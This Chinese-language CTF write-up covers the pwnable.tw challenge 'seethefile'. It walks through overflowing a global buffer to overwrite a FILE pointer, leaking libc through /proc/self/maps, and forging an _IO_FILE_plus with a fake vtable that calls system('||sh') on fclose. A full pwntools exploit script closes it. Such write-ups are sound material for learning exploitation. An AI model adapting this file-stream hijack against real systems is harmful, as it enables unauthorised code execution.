seethefile
基本信息
Glibc: 2.23
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
漏洞点
全局变量 name
后面紧跟着的就是 fp
:
.bss:0804B260 name db 20h dup(?) ; DATA XREF: main+9F↑o
.bss:0804B260 ; main+B4↑o
.bss:0804B280 public fp
.bss:0804B280 ; FILE *fp
.bss:0804B280 fp dd ? ; DATA XREF: openfile+6↑r
.bss:0804B280 ; openfile+AD↑w ...
.bss:0804B280 _bss ends
.bss:0804B280
在执行选项五 exit
的时候,会输入 name
,此时可以篡改 fp
指针:
case 5:
printf("Leave your name :");
__isoc99_scanf("%s", name);
printf("Thank you %s ,see you next time\n", name);
if ( fp )
fclose(fp);
exit(0);
return result;
泄露 libc
基地址可以通过查看 /proc/self/maps
文件。本题中,由于选项二 readfile
在将文件内容读取到 magicbuf
的时候长度限制为 0x18Fu
,我们只能看到下面这部分:
'08048000-0804a000 r-xp 00000000 08:00 249799 /home/seethefile/seethefile\n'
'0804a000-0804b000 r--p 00001000 08:00 249799 /home/seethefile/seethefile\n'
'0804b000-0804c000 rw-p 00002000 08:00 249799 /home/seethefile/seethefile\n'
'09b8b000-09bad000 rw-p 00000000 00:00 0 [heap]\n'
'f7565000-f756600'
本地测试一下可以发现:基本上 [heap]
段后面第二个就是 libc
了,所以在上面这个远程尝试中, 0xf7566000
应该就是 libcbase
。
$ cat /proc/self/maps
00400000-0040c000 r-xp 00000000 08:01 3407896 /bin/cat
0060b000-0060c000 r--p 0000b000 08:01 3407896 /bin/cat
0060c000-0060d000 rw-p 0000c000 08:01 3407896 /bin/cat
008ae000-008cf000 rw-p 00000000 00:00 0 [heap]
7fdc4c1a5000-7fdc4cb64000 r--p 00000000 08:01 1974054 /usr/lib/locale/locale-archive
7fdc4cb64000-7fdc4cd24000 r-xp 00000000 08:01 2626483 /lib/x86_64-linux-gnu/libc-2.23.so
7fdc4cd24000-7fdc4cf24000 ---p 001c0000 08:01 2626483 /lib/x86_64-linux-gnu/libc-2.23.so
7fdc4cf24000-7fdc4cf28000 r--p 001c0000 08:01 2626483 /lib/x86_64-linux-gnu/libc-2.23.so
7fdc4cf28000-7fdc4cf2a000 rw-p 001c4000 08:01 2626483 /lib/x86_64-linux-gnu/libc-2.23.so
7fdc4cf2a000-7fdc4cf2e000 rw-p 00000000 00:00 0
7fdc4cf2e000-7fdc4cf54000 r-xp 00000000 08:01 2626455 /lib/x86_64-linux-gnu/ld-2.23.so
7fdc4d116000-7fdc4d13b000 rw-p 00000000 00:00 0
7fdc4d153000-7fdc4d154000 r--p 00025000 08:01 2626455 /lib/x86_64-linux-gnu/ld-2.23.so
7fdc4d154000-7fdc4d155000 rw-p 00026000 08:01 2626455 /lib/x86_64-linux-gnu/ld-2.23.so
7fdc4d155000-7fdc4d156000 rw-p 00000000 00:00 0
7fffbd3cd000-7fffbd3ee000 rw-p 00000000 00:00 0 [stack]
7fffbd3ef000-7fffbd3f2000 r--p 00000000 00:00 0 [vvar]
7fffbd3f2000-7fffbd3f4000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
分析
在 glibc2.23 中,fp = fopen("[filename]")
中的 fp
指向的是一个 _IO_FILE_plus
结构体。以本题为例,open
之后下断点查看 fp
:
gdb-peda$ x/5wx 0x0804B280
0x804b280 <fp>: 0x0804c410 0x00000000 0x00000000 0x00000000
0x804b290: 0x00000000
gdb-peda$ x/40wx 0x0804c410
0x804c410: 0xfbad2488 0x00000000 0x00000000 0x00000000
0x804c420: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c430: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c440: 0x00000000 0xf7fb7cc0 0x00000003 0x00000000
0x804c450: 0x00000000 0x00000000 0x0804c4a8 0xffffffff
0x804c460: 0xffffffff 0x00000000 0x0804c4b4 0x00000000
0x804c470: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c480: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c490: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c4a0: 0x00000000 0xf7fb6ac0 0x00000000 0x00000000
gdb-peda$ p *_IO_list_all
$1 = {
file = {
_flags = 0xfbad2488,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0xf7fb7cc0 <_IO_2_1_stderr_>,
_fileno = 0x3,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x804c4a8,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x804c4b4,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 39 times>
},
vtable = 0xf7fb6ac0 <_IO_file_jumps>
}
对比一下就可以发现:fp
指向的就是 _IO_list_all
结构体,其中 file
占用 0x94
字节,后面紧跟着 vtable
字段:
gdb-peda$ x/28wx 0xf7fb6ac0
0xf7fb6ac0 <_IO_file_jumps>: 0x00000000 0x00000000 0xf7e6d990 0xf7e6e3b0
0xf7fb6ad0 <_IO_file_jumps+16>: 0xf7e6e150 0xf7e6f230 0xf7e700c0 0xf7e6d600
0xf7fb6ae0 <_IO_file_jumps+32>: 0xf7e6d210 0xf7e6c4b0 0xf7e6f4d0 0xf7e6c2f0
0xf7fb6af0 <_IO_file_jumps+48>: 0xf7e6c1e0 0xf7e618d0 0xf7e6d5b0 0xf7e6d060
0xf7fb6b00 <_IO_file_jumps+64>: 0xf7e6cda0 0xf7e6c2c0 0xf7e6d040 0xf7e70250
0xf7fb6b10 <_IO_file_jumps+80>: 0xf7e70260 0x00000000 0x00000000 0x00000000
0xf7fb6b20 <_IO_str_jumps>: 0x00000000 0x00000000 0xf7e70760 0xf7e703f0
gdb-peda$ print _IO_file_jumps
$2 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0xf7e6d990 <_IO_new_file_finish>,
__overflow = 0xf7e6e3b0 <_IO_new_file_overflow>,
__underflow = 0xf7e6e150 <_IO_new_file_underflow>,
__uflow = 0xf7e6f230 <__GI__IO_default_uflow>,
__pbackfail = 0xf7e700c0 <__GI__IO_default_pbackfail>,
__xsputn = 0xf7e6d600 <_IO_new_file_xsputn>,
__xsgetn = 0xf7e6d210 <__GI__IO_file_xsgetn>,
__seekoff = 0xf7e6c4b0 <_IO_new_file_seekoff>,
__seekpos = 0xf7e6f4d0 <_IO_default_seekpos>,
__setbuf = 0xf7e6c2f0 <_IO_new_file_setbuf>,
__sync = 0xf7e6c1e0 <_IO_new_file_sync>,
__doallocate = 0xf7e618d0 <__GI__IO_file_doallocate>,
__read = 0xf7e6d5b0 <__GI__IO_file_read>,
__write = 0xf7e6d060 <_IO_new_file_write>,
__seek = 0xf7e6cda0 <__GI__IO_file_seek>,
__close = 0xf7e6c2c0 <__GI__IO_file_close>,
__stat = 0xf7e6d040 <__GI__IO_file_stat>,
__showmanyc = 0xf7e70250 <_IO_default_showmanyc>,
__imbue = 0xf7e70260 <_IO_default_imbue>
}
这部分的glibc源码如下:
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
/* We always allocate an extra word following an _IO_FILE.
This contains a pointer to the function jump table used.
This is for compatibility with C++ streambuf; the word can
be used to smash to a pointer to a virtual function table. */
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
extern struct _IO_FILE_plus *_IO_list_all;
选项五 exit
输入 name
之后会执行 fclose
函数,其源码如下:
#define _IO_IS_FILEBUF 0x2000
/* https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/iofclose.c#L37 */
int
_IO_new_fclose (_IO_FILE *fp)
{
......
/* First unlink the stream. */
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
......
}
可以看到:如果 fp->_IO_file_flags & _IO_IS_FILEBUF
这个判断为真,会执行 _IO_un_link
和 _IO_file_close_it
这两个函数,尽量避免,所以我们伪造的 IO_FILE
结构体的 flag
字段和 _IO_IS_FILEBUF
(0x2000) 进行与运算的时候最好为 0。后面会执行 _IO_FINISH
这个函数存放在 vtable
的第三个字段上(即 __finish
),偏移8个字节。
利用思路
伪造一个 _IO_FILE_plus
结构体,使其 vtable
字段指向伪造的 vtable
表,然后在伪造的 vtable
表中存放 __finish
的位置上放 system
函数的地址。然后执行 fclose(fp)
即可 getshell。
具体做法:在伪造的 _IO_FILE_plus
结构体的开头存放 p32(0xffffdfff) + '||sh'
(这样后面执行 fclose(fp)
的时候相当于执行 system("\xff\xff\xdf\xff||sh")
),其他位置全部置为 \x00
。然后在伪造的 vtable
的第三个字段上存 system
函数的地址。
exp
from pwn import *
context(log_level = 'debug')
libc = ELF('./libc_32.so.6')
p = remote('chall.pwnable.tw', 10200)
#p = process('./seethefile')
def choice(ind):
p.recvuntil('Your choice :')
p.sendline(str(ind))
choice(1)
p.recvuntil('What do you want to see :')
p.sendline('/proc/self/maps')
choice(2)
choice(3)
p.recvuntil('[heap]\n')
libcbase = int(p.recv(8),16) + 0x1000
system_addr = libc.symbols['system'] + libcbase
payload = 'a'*0x20 + p32(0x0804B290) + 'a'*(0x10 - 4) +\
p32(0xffffdfff) + '||sh' + '\x00'*(0x94 - 8) +\
p32(0x804B328) + '\x00'*8 + p32(system_addr)
choice(5)
p.recvuntil('Leave your name :')
p.sendline(payload)
p.interactive()
结尾
后面还需要用那个 get_flag
来读 flag,看一下源码就知道怎么做了。